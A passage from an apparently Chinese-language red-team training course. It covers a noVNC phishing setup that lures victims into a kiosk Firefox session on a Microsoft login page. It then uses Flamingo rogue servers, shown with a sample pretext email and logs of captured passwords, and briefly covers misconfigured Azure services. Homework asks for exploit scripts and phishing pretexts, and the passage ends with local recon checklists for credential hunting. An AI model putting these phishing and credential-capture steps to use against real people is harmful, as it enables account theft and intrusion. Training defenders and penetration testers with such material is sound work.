            <input type="image" alt="Clipboard" src="app/images/clipboard.svg"
                id="noVNC_clipboard_button" class="noVNC_button"
                title="Clipboard">
            <div class="noVNC_vcenter">
            <div id="noVNC_clipboard" class="noVNC_panel">
                <div class="noVNC_heading">
                    <img alt="" src="app/images/clipboard.svg"> Clipboard
                </div>
                <p class="noVNC_subheading">
                    Edit clipboard content in the textarea below.
                </p>
                <textarea id="noVNC_clipboard_text" rows=5></textarea>
            </div>
            </div>

            <!-- Toggle fullscreen -->
            <input type="image" alt="Full Screen" src="app/images/fullscreen.svg"
                id="noVNC_fullscreen_button" class="noVNC_button noVNC_hidden"
                title="Full Screen">

            <!-- Settings -->
            <input type="image" alt="Settings" src="app/images/settings.svg"
                id="noVNC_settings_button" class="noVNC_button"
                title="Settings">
            <div class="noVNC_vcenter">
            <div id="noVNC_settings" class="noVNC_panel">
                <div class="noVNC_heading">
                    <img alt="" src="app/images/settings.svg"> Settings
                </div>
                <ul>
                    <li>
                        <label><input id="noVNC_setting_shared" type="checkbox"> Shared Mode</label>
                    </li>
                    <li>
                        <label><input id="noVNC_setting_view_only" type="checkbox"> View Only</label>
                    </li>
                    <li><hr></li>
                    <li>
                        <label><input id="noVNC_setting_view_clip" type="checkbox"> Clip to Window</label>
                    </li>
                    <li>
                        <label for="noVNC_setting_resize">Scaling Mode:</label>
                        <select id="noVNC_setting_resize" name="vncResize">
                            <option value="off">None</option>
                            <option value="scale">Local Scaling</option>
                            <option value="remote">Remote Resizing</option>
                        </select>
                    </li>
                    <li><hr></li>
                    <li>
                        <div class="noVNC_expander">Advanced</div>
                        <div><ul>
                            <li>
                                <label for="noVNC_setting_quality">Quality:</label>
                                <input id="noVNC_setting_quality" type="range" min="0" max="9" value="6">
                            </li>
                            <li>
                                <label for="noVNC_setting_compression">Compression level:</label>
                                <input id="noVNC_setting_compression" type="range" min="0" max="9" value="2">
                            </li>
                            <li><hr></li>
                            <li>
                                <label for="noVNC_setting_repeaterID">Repeater ID:</label>
                                <input id="noVNC_setting_repeaterID" type="text" value="">
                            </li>
                            <li>
                                <div class="noVNC_expander">WebSocket</div>
                                <div><ul>
                                    <li>
                                        <label><input id="noVNC_setting_encrypt" type="checkbox"> Encrypt</label>
                                    </li>
                                    <li>
                                        <label for="noVNC_setting_host">Host:</label>
                                        <input id="noVNC_setting_host">
                                    </li>
                                    <li>
                                        <label for="noVNC_setting_port">Port:</label>
                                        <input id="noVNC_setting_port" type="number">
                                    </li>
                                    <li>
                                        <label for="noVNC_setting_path">Path:</label>
                                        <input id="noVNC_setting_path" type="text" value="websockify">
                                    </li>
                                </ul></div>
                            </li>
                            <li><hr></li>
                            <li>
                                <label><input id="noVNC_setting_reconnect" type="checkbox"> Automatic Reconnect</label>
                            </li>
                            <li>
                                <label for="noVNC_setting_reconnect_delay">Reconnect Delay (ms):</label>
                                <input id="noVNC_setting_reconnect_delay" type="number">
                            </li>
                            <li><hr></li>
                            <li>
                                <label><input id="noVNC_setting_show_dot" type="checkbox"> Show Dot when No Cursor</label>
                            </li>
                            <li><hr></li>
                            <!-- Logging selection dropdown -->
                            <li>
                                <label>Logging:
                                    <select id="noVNC_setting_logging" name="vncLogging">
                                    </select>
                                </label>
                            </li>
                        </ul></div>
                    </li>
                    <li class="noVNC_version_separator"><hr></li>
                    <li class="noVNC_version_wrapper">
                        <span>Version:</span>
                        <span class="noVNC_version"></span>
                    </li>
                </ul>
            </div>
            </div>

            <!-- Connection Controls -->
            <input type="image" alt="Disconnect" src="app/images/disconnect.svg"
                id="noVNC_disconnect_button" class="noVNC_button"
                title="Disconnect">

            </div>
        </div>

    </div> <!-- End of noVNC_control_bar -->

    <div id="noVNC_hint_anchor" class="noVNC_vcenter">
        <div id="noVNC_control_bar_hint">
        </div>
    </div>

    <!-- Status Dialog -->
    <div id="noVNC_status" style=”display:none”></div>

    <!-- Connect button -->
    <div class="noVNC_center">
        <div id="noVNC_connect_dlg">
            <p class="noVNC_logo" translate="no"><span>no</span>VNC</p>
            <div>
                <button id="noVNC_connect_button">
                    <img alt="" src="app/images/connect.svg"> Connect
                </button>
            </div>
        </div>
    </div>

    <!-- Server Key Verification Dialog -->
    <div class="noVNC_center noVNC_connect_layer">
    <div id="noVNC_verify_server_dlg" class="noVNC_panel"><form>
        <div class="noVNC_heading">
            Server identity
        </div>
        <div>
            The server has provided the following identifying information:
        </div>
        <div id="noVNC_fingerprint_block">
            <b>Fingerprint:</b>
            <span id="noVNC_fingerprint"></span>
        </div>
        <div>
            Please verify that the information is correct and press
            "Approve". Otherwise press "Reject".
        </div>
        <div>
            <input id="noVNC_approve_server_button" type="submit" value="Approve" class="noVNC_submit">
            <input id="noVNC_reject_server_button" type="button" value="Reject" class="noVNC_submit">
        </div>
    </form></div>
    </div>

    <!-- Password Dialog -->
    <div class="noVNC_center noVNC_connect_layer">
    <div id="noVNC_credentials_dlg" class="noVNC_panel"><form>
        <div class="noVNC_heading">
            Credentials
        </div>
        <div id="noVNC_username_block">
            <label for="noVNC_username_input">Username:</label>
            <input id="noVNC_username_input">
        </div>
        <div id="noVNC_password_block">
            <label for="noVNC_password_input">Password:</label>
            <input id="noVNC_password_input" type="password">
        </div>
        <div>
            <input id="noVNC_credentials_button" type="submit" value="Send Credentials" class="noVNC_submit">
        </div>
    </form></div>
    </div>

    <!-- Transition Screens -->
    <div id="noVNC_transition" style="background-color:white;color:white">
        <div id="noVNC_transition_text"></div>
        <div>
        <input type="button" id="noVNC_cancel_reconnect_button" value="Cancel" class="noVNC_submit">
        </div>
        <div class="noVNC_spinner"></div>
    </div>

    <!-- This is where the RFB elements will attach -->
    <div id="noVNC_container">
        <!-- Note that Google Chrome on Android doesn't respect any of these,
             html attributes which attempt to disable text suggestions on the
             on-screen keyboard. Let's hope Chrome implements the ime-mode
             style for example -->
        <textarea id="noVNC_keyboardinput" autocapitalize="off"
            autocomplete="off" spellcheck="false" tabindex="-1"></textarea>
    </div>

    <audio id="noVNC_bell">
        <source src="app/sounds/bell.oga" type="audio/ogg">
        <source src="app/sounds/bell.mp3" type="audio/mpeg">
    </audio>
 </body>
</html>

```

在用户目录的 .vnc 目录下创建 xstartup 文件并赋予执行权限：

```bash
#!/bin/sh
# Start Gnome 3 Desktop 
[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
vncconfig -iconic  &
dbus-launch --exit-with-session gnome-session &
```

启动 vnc 服务器以及 noVNC：

```shell
tigervncserver -xstartup /usr/bin/gnome-session
noVNC/utils/novnc_proxy --vnc 0.0.0.0:5901 --listen 80

# 第二个实例
tigervncserver -xstartup /usr/bin/gnome-session
noVNC/utils/novnc_proxy --vnc 0.0.0.0:5902 --listen 81

# 第三个实例
tigervncserver -xstartup /usr/bin/gnome-session
noVNC/utils/novnc_proxy --vnc 0.0.0.0:5903 --listen 82

```

配置 Firefox 浏览器并开启 kiosk 模式

```shell
wget -O ~/FirefoxSetup.tar.bz2 “https://download.mozilla.org/?product=firefox-latest&os=linux64"
sudo tar xjf ~/FirefoxSetup.tar.bz2 -C /opt/
sudo ln -s /opt/firefox/firefox /usr/bin/firefox
firefox --kiosk https://login.microsoftonline.com
```

在配置完 tigerVNC、Ubuntu 桌面、以及 noVNC 之后，还有这些需要注意

1：勿使用高权限帐号启动 VNC 服务。防止被第三方攻击者执行系统命令从而拿下服务器最高权限。

2：运行 VNC 的服务器请不要存储数据与重要文件。防止第三方的 **kiosk 逃逸攻击**从而执行系统命令

3：取消 Ubuntu 桌面的自动锁屏 (重要)，可以通过 GUI 来关闭，也可以通过如下命令

```shell
gsettings set org.gnome.desktop.lockdown disable-lock-screen 'true'
gsettings set org.gnome.desktop.screensaver lock-enabled false
```

4：在**移动端**访问容易看出端倪

5：考虑到原始 URL 较为容易分辨且 noVNC 自带开放目录的设置，通过**反向代理**隐藏真实 URL 以及开放的目录。

将链接 [http://example.com/vnc.html?autoconnect=true&amp;password=pass123&amp;resize=remote](http://example.com/vnc.html?autoconnect=true&password=pass123&resize=remote) 发送给受害者。

## **行为诱导**

#### **Flamingo**

其实行为诱导的目的可以有很多，但在红队行动的语境下，可以是这样的

1：连接到我们的 Rogue 服务器，获得凭证 (类似于通过点击伪造连接指向的登陆页面，但不需要连接)

2：临时关闭杀毒软件

3：临时允许运行/安装第三方应用

Flamingo ([https://github.com/atredispartners/flamingo](https://github.com/atredispartners/flamingo)) 是一款用 Go 编写的可以生成多个 Rogue 服务器的应用，包含了 SSH, HTTP, LDAP, DNS, FTP, 和 SNMP 协议，非常适合于内部钓鱼的情景。

我们可以发送如下语境的邮件 (修改细节使其更加可信)

```
主题：请尽快在Web01上检查源代码
发件人：alice@raven-med.local
收件人：engineers@dev.raven-med.local
抄送：无

研发部门：
	你们好，存储在Web01 FTP服务器上的源代码缺少重要代码段。请使用你们的域账户和密码登陆Web01主机的FTP服务器并加以检查和确认。用户名形式为 xx@dev.ravem-med.local。如果有任何其他问题，请随时与我联系。
    
    
Alice    
```

我们运行 flamingo 并开启多个服务的 Rouge 服务器

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/vciq6GhwkSS6ibzy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/vciq6GhwkSS6ibzy-image.png)

```shell
└─# flamingo
flamingo 0.0.19 is waiting to feed...
{"_etime":"2023-02-27T12:18:32-08:00","level":"info","output":"saving credentials to stdout, flamingo.log"}
{"_etime":"2023-02-27T12:18:32-08:00","level":"error","output":"failed to start ldap server [::]:389: failed to listen on [::]:389 (listen tcp 0.0.0.0:389: bind: address already in use)"}
{"_etime":"2023-02-27T12:18:44-08:00","_host":"[::1]:52260","_proto":"ssh","_server":"[::]:22","_type":"credential","level":"warning","method":"pubkey","output":"credential","pubkey":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGjSAhSdF06lNyZ1D5AMqipfdAKUM+lbhCHRHDFBuWuy","pubkey-sha256":"SHA256:x07F52CBRLvY9CR/W1iguK9MXOrEoiiOEz2LxXqIm5s","username":"root","version":"SSH-2.0-OpenSSH_9.0p1 Debian-1"}
{"_etime":"2023-02-27T12:18:48-08:00","_host":"[::1]:52260","_proto":"ssh","_server":"[::]:22","_type":"credential","level":"warning","method":"password","output":"credential","password":"Passw0rd","username":"root","version":"SSH-2.0-OpenSSH_9.0p1 Debian-1"}
{"_etime":"2023-02-27T12:20:15-08:00","_host":"[::1]:44396","_proto":"ftp","_server":"[::]:21","_type":"credential","level":"warning","output":"credential","password":"passw0rd","username":"root"}

```

模拟受害用户登录我们的 Rogue 服务器，他们的凭证会被捕捉。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/W3JrupvqwDMeWvHH-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/W3JrupvqwDMeWvHH-image.png)

```shell
┌──(root㉿kali)-[~/Desktop]
└─# ssh root@localhost                         
The authenticity of host 'localhost (::1)' can't be established.
RSA key fingerprint is SHA256:5SK9qyaL0HdtcweF/LN48UGmEIetudzd9wrDhoQUc4c.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (RSA) to the list of known hosts.
root@localhost's password: 
Permission denied, please try again.
root@localhost's password: 

                                                                                                                                                  
┌──(root㉿kali)-[~/Desktop]
└─# ftp localhost                           
Trying [::1]:21 ...
Connected to localhost.
220 Welcome to FTP server.
Name (localhost:root): root
331 Username ok, password required
Password: 
230 Password ok, continue
421 Service not available, remote server has closed connection.
ftp: No control connection for command
ftp> 

```

</body></html>

# 脆弱的云服务

## **脆弱的云服务**

如今，云服务也是企业基础设施的一部分，常见的有 AWS，Azure，以及GCP等。本课程不专注于云安全或者云渗透，但是需要注意的是一个企业的云服务能给我们带来额外的攻击路径，例如本地 AD 与 Azure AD 进行了同步，并且因为Azure的一些特性，给我们带来了新的路径。一些常见的脆弱或者配置不当的情形有：

### **具有漏洞的 Azure 应用服务**

尽管企业应用被部署在 Azure 云端，但不代表能幸免于常见的web漏洞。不过需要注意的是，即便我们能获得RCE，但企业应用是被部署在沙箱里，并非企业内网中。对于接管企业的域与森林本身不能带来进展，但能帮助我们在Azure的资源之间进行横向移动，获取更多敏感信息和资源访问。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/dymyGQqhSj0AxmCf-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/dymyGQqhSj0AxmCf-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/N6eE2R81rUM8KfeF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/N6eE2R81rUM8KfeF-image.png)

### **配置不当的存储服务**

Blob存储可以储存非结构的数据，例如文件、音乐、视频等。然而，如果访问权限设置不当，攻击者可以访问到具体的Blob（即文件）、甚至列举存放Blob的容器本身。考虑到Azure存储服务的终端是具有特定格式的，如果攻击者枚举到特定的Blob或者容器允许公开访问，那么可能访问到包含敏感信息的文件，例如带有凭证的代码文件。

Blob存储终端: **https://&lt;storage-account&gt;.blob.core.windows.net**

Azure文件终端: **https://.file.core.windows.net**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/cUiU3kZvb7jKbI5m-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/cUiU3kZvb7jKbI5m-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/vdotthgHmuRWMI9Y-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/vdotthgHmuRWMI9Y-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/LsN8VykMkDleXYhd-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/LsN8VykMkDleXYhd-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/OlJ3qIQlOqbv66a3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/OlJ3qIQlOqbv66a3-image.png)

# 第4章课后作业

### **练习**

1：用 Python 编写对 Raven Medicine PHP 主站点的一键文件上传和代码执行的脚本

2：用 Python 编写对 .Net 应用的一键文件上传和代码执行的脚本

3：用 Python 编写对 .Net 应用的一键 SQL注入脚本

4：用 Python 编写对 Chat.js 应用的一键 NoSQL 注入、哈希破解 (Rockyou 前200行)、代码执行、以及得到代码执行输出结果的脚本

5：设计一个基于客户端攻击的钓鱼邮件语境 (即诱导用户打开附件)

6：设计一个基于窃取凭证的钓鱼邮件语境 (即诱导用户点开链接并在虚假网站中输入账号密码)

7：设计一个基于行为诱导的钓鱼邮件语境 (即诱导用户完成特定行为)

8：将我们写的弹出 calc.exe 的宏修改成执行 CS 的载荷

9：尝试使用除了 Subject 之外的元素进行载荷拼接

10：制作 onenote 恶意文档的原理并不复杂，但实际制作时，会遇到一些令人烦躁的地方。请自己动手制作一个 onenote 恶意文档

### **拓展**

1：复现 noVNC 钓鱼的手法，并且想办法让其更加不易被识别出来 (例如隐藏UI、隐藏真实 URL 等)

# 面试专题

# 章节5：本地侦查以及特权提升



# 本地侦查思路

在成功的利用之后，我们已经拿到了服务器本地的访问了，根据服务器配置的不同，此时我们可能已经是最高权限了，也可能是低权限用户。我们需要充分利用现有的访问，对本地信息进行详尽的侦查，包括但不局限于网络配置、本地文件、用户和群组、分配的权限、系统版本、存储的凭证等。

对于提权，不一定是必要的，但是提权能让我们访问到更多的信息，从而提高入侵更多主机的成功率。我这里强调一个思想：**侦查的目标不是 (本地)提权，而(本地)提权的目标是侦查更多信息**。对于企业的域网络，我们即便拿到了当前主机的最高权限，也是远远不够的，所做的一切都是为了能将口子撕地更大。我们需要摆脱打靶机的思维定势，即用提权工具跑一下，找到提权向量然后任务完成。

常见且好用的提权与侦查工具有 WinPEAS ([https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe))，SharpUp ([https://github.com/GhostPack/SharpUp](https://github.com/GhostPack/SharpUp))，Seatbelt([https://github.com/GhostPack/Seatbelt](https://github.com/GhostPack/Seatbelt)) 等。在我们做靶场练习的时候，这些工具的作用是帮助我们寻找提权路径，但实际上，这些工具更强大的功能在于本地侦查。如果不借助这些工具，同学们可能会有些不知所措，不知道有哪些信息需要搜集，怎么对需要搜集的信息分门别类。

作为网络安全专家，我们不能依赖于工具，但是可以参考这些工具的思路，再怎么说这些工具也是集思广益后编写的，也得到了普遍的认可。我们先以最轻量级的 SharpUp 来举例：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/2gluqRUqcFTdngAR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/2gluqRUqcFTdngAR-image.png)

SharpUp 的功能主要建立在特权提升上，但如果例如 CachedGPPPassword，DomainGPPPassword 等选项能返回有效结果，即便已经获得了最高权限，对我们依旧是有帮助的。对于 SharpUp 所检查的项目，总结一下如下：

1：本地提权类。AlwaysInstalledElevated、服务提权、Token权限、权限配置不当的路径等。

2：凭证类。CachedGPPPassword，DomainGPPPassword，RegistryAutoLogons 等。如果能得到明文凭证，无论对本地提权，还是域内提权、横向移动都可能有帮助。因此，即便已经拿到了本地最高特权，也要检查一下这些选项。

我们接下来查看 WinPEAS 的检查项目

```
System Information
 Basic System info information
 Use Watson to search for vulnerabilities
 Enumerate Microsoft updates
 PS, Audit, WEF and LAPS Settings
 LSA protection
 Credential Guard
 WDigest
 Number of cached cred
 Environment Variables
 Internet Settings
 Current drives information
 AV
 Windows Defender
 UAC configuration
 NTLM Settings
 Local Group Policy
 Applocker Configuration & bypass suggestions
 Printers
 Named Pipes
 AMSI Providers
 SysMon
 .NET Versions
 
Users Information
 Users information
 Current token privileges
 Clipboard text
 Current logged users
 RDP sessions
 Ever logged users
 Autologin credentials
 Home folders
 Password policies
 Local User details
 Logon Sessions
 
Processes Information
 Interesting processes (non Microsoft)
 
Services Information
 Interesting services (non Microsoft) information
 Modifiable services
 Writable service registry binpath
 PATH Dll Hijacking
 
Applications Information
 Current Active Window
 Installed software
 AutoRuns
 Scheduled tasks
 Device drivers
 
Network Information
 Current net shares
 Mapped drives (WMI)
 hosts file
 Network Interfaces
 Listening ports
 Firewall rules
 DNS Cache (limit 70)
 Internet Settings
 
Windows Credentials
 Windows Vault
 Credential Manager
 Saved RDP settings
 Recently run commands
 Default PS transcripts files
 DPAPI Masterkeys
 DPAPI Credential files
 Remote Desktop Connection Manager credentials
 Kerberos Tickets
 Wifi
 AppCmd.exe
 SSClient.exe
 SCCM
 Security Package Credentials
 AlwaysInstallElevated
 WSUS
 
Browser Information
 Firefox DBs
 Credentials in firefox history
 Chrome DBs
 Credentials in chrome history
 Current IE tabs
 Credentials in IE history
 IE Favorites
 Extracting saved passwords for: Firefox, Chrome, Opera, Brave
 
Interesting Files and registry
 Putty sessions
 Putty SSH host keys
 SuperPutty info
 Office365 endpoints synced by OneDrive
 SSH Keys inside registry
 Cloud credentials
 Check for unattended files
 Check for SAM & SYSTEM backups
 Check for cached GPP Passwords
 Check for and extract creds from McAffe SiteList.xml files
 Possible registries with credentials
 Possible credentials files in users homes
 Possible password files inside the Recycle bin
 Possible files containing credentials (this take some minutes)
 User documents (limit 100)
 Oracle SQL Developer config files check
 Slack files search
 Outlook downloads
 Machine and user certificate files
 Office most recent documents
 Hidden files and folders
 Executable files in non-default folders with write permissions
 WSL check
 
Events Information
 Logon + Explicit Logon Events
 Process Creation Events
 PowerShell Events
 Power On/Off Events
 
Additional (slower) checks
 LOLBAS search
 run linpeas.sh in default WSL distribution
```

WinPEAS 检查的内容更加丰富和延伸，总结一下，有这么几类

1：系统信息。包含了系统版本、补丁、本地安全控制、计算机设置等。

2：用户信息。包含了用户信息、用户特权、活跃会话、自动登陆等。

3：进程信息

4：服务信息。主要用于提权。

5：应用信息。包含了活跃窗口、安装的软件、驱动、计划任务等。

6：网络信息。包含了开放端口、网卡接口、DNS缓存、共享目录等。

7：Windows 凭证。包含了仓库、凭证管理器、DPAPI、Wifi 密码、Kerberos 票据等。

8：浏览器信息。包含了常见浏览器的缓存凭证、收藏夹等。

9：文件和注册表信息。包含了系统敏感文件和注册表项、常见应用 (如 PuTTY) 的重要文件等

10：事件信息与其他

我们手动枚举的时候，可以借鉴 WinPEAS 的检查列表。

最后，我们一起看看 SeatBelt 的枚举思路：

```
Available commands (+ means remote usage is supported):

    + AMSIProviders          - Providers registered for AMSI
    + AntiVirus              - Registered antivirus (via WMI)
    + AppLocker              - AppLocker settings, if installed
      ARPTable               - Lists the current ARP table and adapter information (equivalent to arp -a)
      AuditPolicies          - Enumerates classic and advanced audit policy settings
    + AuditPolicyRegistry    - Audit settings via the registry
    + AutoRuns               - Auto run executables/scripts/programs
      Certificates           - Finds user and machine personal certificate files
      CertificateThumbprints - Finds thumbprints for all certificate store certs on the systen
    + ChromiumBookmarks      - Parses any found Chrome/Edge/Brave/Opera bookmark files
    + ChromiumHistory        - Parses any found Chrome/Edge/Brave/Opera history files
    + ChromiumPresence       - Checks if interesting Chrome/Edge/Brave/Opera files exist
    + CloudCredentials       - AWS/Google/Azure/Bluemix cloud credential files
    + CloudSyncProviders     - All configured Office 365 endpoints (tenants and teamsites) which are synchronised by OneDrive.
      CredEnum               - Enumerates the current user's saved credentials using CredEnumerate()
    + CredGuard              - CredentialGuard configuration
      dir                    - Lists files/folders. By default, lists users' downloads, documents, and desktop folders (arguments == [directory] [maxDepth] [regex] [boolIgnoreErrors]
    + DNSCache               - DNS cache entries (via WMI)
    + DotNet                 - DotNet versions
    + DpapiMasterKeys        - List DPAPI master keys
      Dsregcmd               - Return Tenant information - Replacement for Dsregcmd /status
      EnvironmentPath        - Current environment %PATH$ folders and SDDL information
    + EnvironmentVariables   - Current environment variables
    + ExplicitLogonEvents    - Explicit Logon events (Event ID 4648) from the security event log. Default of 7 days, argument == last X days.
      ExplorerMRUs           - Explorer most recently used files (last 7 days, argument == last X days)
    + ExplorerRunCommands    - Recent Explorer "run" commands
      FileInfo               - Information about a file (version information, timestamps, basic PE info, etc. argument(s) == file path(s)
    + FileZilla              - FileZilla configuration files
    + FirefoxHistory         - Parses any found FireFox history files
    + FirefoxPresence        - Checks if interesting Firefox files exist
    + Hotfixes               - Installed hotfixes (via WMI)
      IdleTime               - Returns the number of seconds since the current user's last input.
    + IEFavorites            - Internet Explorer favorites
      IETabs                 - Open Internet Explorer tabs
    + IEUrls                 - Internet Explorer typed URLs (last 7 days, argument == last X days)
    + InstalledProducts      - Installed products via the registry
      InterestingFiles       - "Interesting" files matching various patterns in the user's folder. Note: takes non-trivial time.
    + InterestingProcesses   - "Interesting" processes - defensive products and admin tools
      InternetSettings       - Internet settings including proxy configs and zones configuration
    + KeePass                - Finds KeePass configuration files
    + LAPS                   - LAPS settings, if installed
    + LastShutdown           - Returns the DateTime of the last system shutdown (via the registry).
      LocalGPOs              - Local Group Policy settings applied to the machine/local users
    + LocalGroups            - Non-empty local groups, "-full" displays all groups (argument == computername to enumerate)
    + LocalUsers             - Local users, whether they're active/disabled, and pwd last set (argument == computername to enumerate)
    + LogonEvents            - Logon events (Event ID 4624) from the security event log. Default of 10 days, argument == last X days.
    + LogonSessions          - Windows logon sessions
      LOLBAS                 - Locates Living Off The Land Binaries and Scripts (LOLBAS) on the system. Note: takes non-trivial time.
    + LSASettings            - LSA settings (including auth packages)
    + MappedDrives           - Users' mapped drives (via WMI)
      McAfeeConfigs          - Finds McAfee configuration files
      McAfeeSiteList         - Decrypt any found McAfee SiteList.xml configuration files.
      MicrosoftUpdates       - All Microsoft updates (via COM)
      NamedPipes             - Named pipe names, any readable ACL information and associated process information.
    + NetworkProfiles        - Windows network profiles
    + NetworkShares          - Network shares exposed by the machine (via WMI)
    + NTLMSettings           - NTLM authentication settings
      OfficeMRUs             - Office most recently used file list (last 7 days)
      OneNote                - List OneNote backup files
    + OptionalFeatures       - List Optional Features/Roles (via WMI)
      OracleSQLDeveloper     - Finds Oracle SQLDeveloper connections.xml files
    + OSInfo                 - Basic OS info (i.e. architecture, OS version, etc.)
    + OutlookDownloads       - List files downloaded by Outlook
    + PoweredOnEvents        - Reboot and sleep schedule based on the System event log EIDs 1, 12, 13, 42, and 6008. Default of 7 days, argument == last X days.
    + PowerShell             - PowerShell versions and security settings
    + PowerShellEvents       - PowerShell script block logs (4104) with sensitive data.
    + PowerShellHistory      - Searches PowerShell console history files for sensitive regex matches.
      Printers               - Installed Printers (via WMI)
    + ProcessCreationEvents  - Process creation logs (4688) with sensitive data.
      Processes              - Running processes with file info company names that don't contain 'Microsoft', "-full" enumerates all processes
    + ProcessOwners          - Running non-session 0 process list with owners. For remote use.
    + PSSessionSettings      - Enumerates PS Session Settings from the registry
    + PuttyHostKeys          - Saved Putty SSH host keys
    + PuttySessions          - Saved Putty configuration (interesting fields) and SSH host keys
      RDCManFiles            - Windows Remote Desktop Connection Manager settings files
    + RDPSavedConnections    - Saved RDP connections stored in the registry
    + RDPSessions            - Current incoming RDP sessions (argument == computername to enumerate)
    + RDPsettings            - Remote Desktop Server/Client Settings
      RecycleBin             - Items in the Recycle Bin deleted in the last 30 days - only works from a user context!
      reg                    - Registry key values (HKLM\Software by default) argument == [Path] [intDepth] [Regex] [boolIgnoreErrors]
      RPCMappedEndpoints     - Current RPC endpoints mapped
    + SCCM                   - System Center Configuration Manager (SCCM) settings, if applicable
    + ScheduledTasks         - Scheduled tasks (via WMI) that aren't authored by 'Microsoft', "-full" dumps all Scheduled tasks
      SearchIndex            - Query results from the Windows Search Index, default term of 'passsword'. (argument(s) == <search path> <pattern1,pattern2,...>
      SecPackageCreds        - Obtains credentials from security packages
      SecurityPackages       - Enumerates the security packages currently available using EnumerateSecurityPackagesA()
      Services               - Services with file info company names that don't contain 'Microsoft', "-full" dumps all processes
    + SlackDownloads         - Parses any found 'slack-downloads' files
    + SlackPresence          - Checks if interesting Slack files exist
    + SlackWorkspaces        - Parses any found 'slack-workspaces' files
    + SuperPutty             - SuperPutty configuration files
    + Sysmon                 - Sysmon configuration from the registry
    + SysmonEvents           - Sysmon process creation logs (1) with sensitive data.
      TcpConnections         - Current TCP connections and their associated processes and services
      TokenGroups            - The current token's local and domain groups
      TokenPrivileges        - Currently enabled token privileges (e.g. SeDebugPrivilege/etc.)
    + UAC                    - UAC system policies via the registry
      UdpConnections         - Current UDP connections and associated processes and services
      UserRightAssignments   - Configured User Right Assignments (e.g. SeDenyNetworkLogonRight, SeShutdownPrivilege, etc.) argument == computername to enumerate
      WifiProfile            - Enumerates the saved Wifi profiles and extract the ssid, authentication type, cleartext key/passphrase (when possible)
    + WindowsAutoLogon       - Registry autologon information
      WindowsCredentialFiles - Windows credential DPAPI blobs
    + WindowsDefender        - Windows Defender settings (including exclusion locations)
    + WindowsEventForwarding - Windows Event Forwarding (WEF) settings via the registry
    + WindowsFirewall        - Non-standard firewall rules, "-full" dumps all (arguments == allow/deny/tcp/udp/in/out/domain/private/public)
      WindowsVault           - Credentials saved in the Windows Vault (i.e. logins from Internet Explorer and Edge).
    + WMI                    - Runs a specified WMI query
      WMIEventConsumer       - Lists WMI Event Consumers
      WMIEventFilter         - Lists WMI Event Filters
      WMIFilterBinding       - Lists WMI Filter to Consumer Bindings
    + WSUS                   - Windows Server Update Services (WSUS) settings, if applicable
```

以上是多达 113 项的检查列表，SeatBelt 也支持分类枚举，例如针对系统的、针对用户的、针对 Chromium 浏览器的、可远程枚举等分类。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/YvwT0nw9qhNt6TEX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/YvwT0nw9qhNt6TEX-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/aa6JGr8Dm0JhbV1D-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/aa6JGr8Dm0JhbV1D-image.png)

简单查看与分析了这 3 款本地侦查与提权的工具后，我们大概知道了本地侦查阶段需要搜集的信息都可以有哪些。其实，这份检查列表还是很长的，但我们可以根据目标进行灵活调节，把握好优先级。例如，相比服务器，我们能从个人主机上获得更多的浏览器、第三方应用的敏感信息与文件。

未来补充：https://trustedsec.com/blog/walking-the-tightrope-maximizing-information-gathering-while-avoiding-detection-for-red-teams

# 重要文件

这一节，我们来讲述需要关注的一些敏感文件。如果我们还不是最高权限，可能无法访问到所有的敏感文件，那么提权势必会有所帮助。主机上的敏感文件除了操作系统自带的 (例如 shadow，SAM数据库等)，还有第三方应用的，例如Web应用，VncViewer, Putty，KeePass等。对于第三方应用，我们不做过多延伸，因为这类的应用是无穷无尽的，我们着重关注于系统自带的重要文件。

### **Windows**

##### **用户目录**

Windows 用户目录下有这些目录：桌面、文档、下载、收藏等。尤其是对于有用户登录的个人主机，用户目录往往包含个人文件、办公文件，我们能从中收获丰富的信息。此外，我们甚至可能在用户目录中找到 SSH 密钥对，例如 srv02 上用户 october 的个人文件夹中。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/FxpzqEZCG9FMdQ21-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/FxpzqEZCG9FMdQ21-image.png)

##### **Web应用**

可以从配置文件中提取到其他组件的凭证，访问应用源代码找到可能硬编码的凭证。例如，我们在 **Web02** 主机上找到了 .Net 应用连接到 MSSQL 数据库的帐号密码。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/XkXTdZh6suFkU8e6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/XkXTdZh6suFkU8e6-image.png)

##### **PowerShell 历史**

